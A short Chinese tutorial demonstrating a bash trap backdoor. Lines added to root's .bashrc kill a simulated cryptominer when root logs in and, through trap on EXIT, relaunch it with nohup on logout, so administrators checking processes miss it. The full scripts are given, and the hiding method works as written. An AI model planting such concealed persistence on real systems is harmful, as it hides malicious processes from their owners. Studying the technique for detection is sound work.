结合之前的《trap使用》,在这里模拟一个挖矿程序,并通过trap将这个程序隐藏。编写如下"挖矿"程序(miner.sh),
#!/bin/bash
while true; do
echo "Mining..."
sleep 5
done
程序的主体使用死循环,模拟挖矿程序CPU的高占用率的效果。再编写一个用于"隐藏挖矿"程序的程序(killer.sh,这里为了方便就直接使用kill命令删除"挖矿"进程)
#!/bin/bash
PID=$(pgrep -f miner.sh)
if [ -n "$PID" ]; then
echo "Stopping miner.sh (PID: $PID)"
kill $PID
fi
trap后门常常与EXIT 信号关联,通过修改系统用户的 Shell 配置文件,在对应用户登录系统获取shell时就会触发用户的 Shell 配置文件中编写的代码(这里为了方便直接修改root用户的shell配置文件)。
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
nohup /home/richard/Desktop/killer.sh &
trap "nohup /home/richard/Desktop/miner.sh &" EXIT
当用户登录root用户时,将会关闭挖矿程序,但是当用户退出root时,就会重新启动挖矿程序。
[ROOT 登录]
root用户登录后,在普通用户的shell会话中使用
ps aux | grep miner.sh
查看是否存在异常进程,并没有发现挖矿程序被启动。
[ROOT 登出]
但是当用户登出后,再使用普通用户的shell会话查看是否存在异常进程,可以发现挖矿程序已经被重新启动了。